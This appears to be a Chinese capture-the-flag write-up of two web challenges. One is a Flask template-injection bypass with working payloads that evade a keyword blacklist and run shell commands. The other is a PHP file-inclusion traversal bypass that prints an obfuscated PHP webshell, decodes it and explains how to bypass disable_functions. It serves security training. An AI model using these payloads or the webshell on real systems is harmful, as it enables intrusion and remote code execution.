首先访问,直接拿到了源码。
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
这里有ssti。绕过黑名单可以直接用空字符串就行,用 url_for['_''_globals_''_']['current_app']['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ex''ec']
拿到 exec
。
然后没有回显,发现目录有写的权限,于是把结果写到 static 目录下,然后直接访问就行了
payload:
# 先创建static目录
code:{{url_for['_''_globals_''_']['current_app']['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ex''ec']("imp""ort o""s;o""s.mkdir('static')",{"app":url_for['_''_globals_''_']['current_app'],"request":request})}}
# 写入到 static/a.txt
code:{{url_for['_''_globals_''_']['current_app']['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ex''ec']("imp""ort o""s;open('./static/a.txt','w').write(o""s.pop""en('cat /flag').read())",{"app":url_for['_''_globals_''_']['current_app'],"request":request})}}
然后访问 /static/a.txt 就能看到 flag。
Headers有tips:include.php 但是根本没这个文件!
从这个 include.php 还有网址的 file=hello.php 可以猜测,是文件包含漏洞。
Ctrl+U源码,发现 和 ,直接用 file= 这两个文件发现没用,显示不在这里。但是注意到 file=hackme.php 和 file=../hackme.php 和 file=../../hackme.php 以及直接访问 hackme.php 都是一样的,怀疑 ../ 被替换掉了,所以双写成 ..././,成功绕过,访问到上一级目录的文件。
http://eci-2ze9aum75osowagx70o6.cloudeci1.ichunqiu.com/index.php?file=..././hackme.php 一句话木马
http://eci-2ze9aum75osowagx70o6.cloudeci1.ichunqiu.com/index.php?file=..././tips.php phpinfo
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm[3].$lapUCm[6].$lapUCm[33].$lapUCm[30];$OxirhK=$lapUCm[33].$lapUCm[10].$lapUCm[24].$lapUCm[10].$lapUCm[24];$YpAUWC=$OxirhK[0].$lapUCm[18].$lapUCm[3].$OxirhK[0].$OxirhK[1].$lapUCm[24];$rVkKjU=$lapUCm[7].$lapUCm[13];$YwzIst.=$lapUCm[22].$lapUCm[36].$lapUCm[29].$lapUCm[26].$lapUCm[30].$lapUCm[32].$lapUCm[35].$lapUCm[26].$lapUCm[30];
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
echo $YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)));
?>
hackme.php的内容经过简单的base64混淆,解码得到 <?php @eval($_POST['cmd_66.99']); ?>
。但是直接参数设置 cmd_66.99
会被转换成 cmd_66_99
从而失败。利用php字符转换漏洞,用 cmd[66.99
会被转换为 cmd_66.99
,再用蚁剑链接。
不过有 disable_functions,蚁剑有专门的插件,直接绕过就行了。
居然不放在根目录下,找了半天,可恶。